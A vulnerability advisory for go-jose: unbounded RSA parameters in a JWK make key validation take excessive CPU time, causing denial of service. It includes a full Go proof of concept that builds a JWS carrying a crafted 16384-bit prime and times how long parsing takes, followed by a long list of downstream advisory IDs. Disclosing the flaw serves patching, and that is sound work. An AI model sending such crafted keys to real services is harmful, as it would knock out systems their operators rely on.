CVE-2026-116587
ADVISORY - githubSummary
Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
NIST
CVSS SCORE
7.5highGitHub
CVSS SCORE
7.5highUbuntu
-
CVSS SCORE
N/AmediumChainguard
CGA-2cwp-7cqw-294p
-
minimos
MINI-2579-3v7q-53x8
-
minimos
MINI-2jgx-fv9c-rm69
-
minimos
MINI-2qwr-f38f-g29r
-
minimos
MINI-2x67-82fv-2r8h
-
minimos
MINI-325m-mmrg-3qph
-
minimos
MINI-39fc-535r-f89m
-
minimos
MINI-3f4f-5c8w-qhqq
-
minimos
MINI-3f74-vfr6-72cw
-
minimos
MINI-4742-c4hq-hwv9
-
minimos
MINI-48p8-7x95-hxjw
-
minimos
MINI-4jjg-8rjx-gp6p
-
minimos
MINI-4qhm-ghvh-f2m8
-
minimos
MINI-5q9m-c9p8-rfq8
-
minimos
MINI-5x76-68jg-8r89
-
minimos
MINI-63mx-fx88-4xww
-
minimos
MINI-66p2-r6xx-99jm
-
minimos
MINI-69hj-wjpq-75cq
-
minimos
MINI-6v3v-c2x4-vcvj
-
minimos
MINI-6whp-p5pw-xvp5
-
minimos
MINI-77mw-4fmr-26rc
-
minimos
MINI-7rxg-5mw5-wqfp
-
minimos
MINI-85vx-6h9q-cj4v
-
minimos
MINI-95qm-ffcj-jc23
-
minimos
MINI-972c-8h4r-9g46
-
minimos
MINI-9jg2-pc4m-hw34
-
minimos
MINI-9vfh-4qm6-2393
-
minimos
MINI-cq9p-w937-9c82
-
minimos
MINI-cr3c-wjvw-jgh7
-
minimos
MINI-ffj5-hq37-qxjg
-
minimos
MINI-fvvx-6gw6-qwg4
-
minimos
MINI-g549-xfmg-xcgf
-
minimos
MINI-h5vx-jxmf-3phh
-
minimos
MINI-j73w-vvw7-9cpv
-
minimos
MINI-j7fp-6cc8-7pvc
-
minimos
MINI-jhr9-6mc4-wchq
-
minimos
MINI-jjr3-wjmm-g6xf
-
minimos
MINI-jwvc-f9c4-f99v
-
minimos
MINI-m8xr-h3rj-m6wp
-
minimos
MINI-mc2w-c27c-6x88
-
minimos
MINI-mj57-q59m-v3mh
-
minimos
MINI-mmjc-h2qc-rpc7
-
minimos
MINI-mvfj-vwgw-548q
-
minimos
MINI-p455-498v-7frh
-
minimos
MINI-p8c5-h7r6-76m4
-
minimos
MINI-pcv2-2phg-fqqc
-
minimos
MINI-pvf3-42rv-mxr2
-
minimos
MINI-q4jp-2464-jfv7
-
minimos
MINI-q4x8-qq8c-cp6v
-
minimos
MINI-q832-9vxg-v7w8
-
minimos
MINI-qjpx-gx25-8x95
-
minimos
MINI-qv3w-xr85-26wc
-
minimos
MINI-rhvq-6449-52g9
-
minimos
MINI-rr4g-388m-p2xm
-
minimos
MINI-rxf3-q856-pmv3
-
minimos
MINI-vhj5-8g49-6rjw
-
minimos
MINI-vj5j-ppmw-2p99
-
minimos
MINI-w9c2-h3ph-c4j4
-
minimos
MINI-wq44-h5gc-8q74
-
minimos
MINI-x3r4-q28j-m33p
-
minimos
MINI-x7mx-g9jh-3m36
-
minimos
MINI-xchm-vm8j-x8gr
-
minimos
MINI-xcqf-236x-2496
-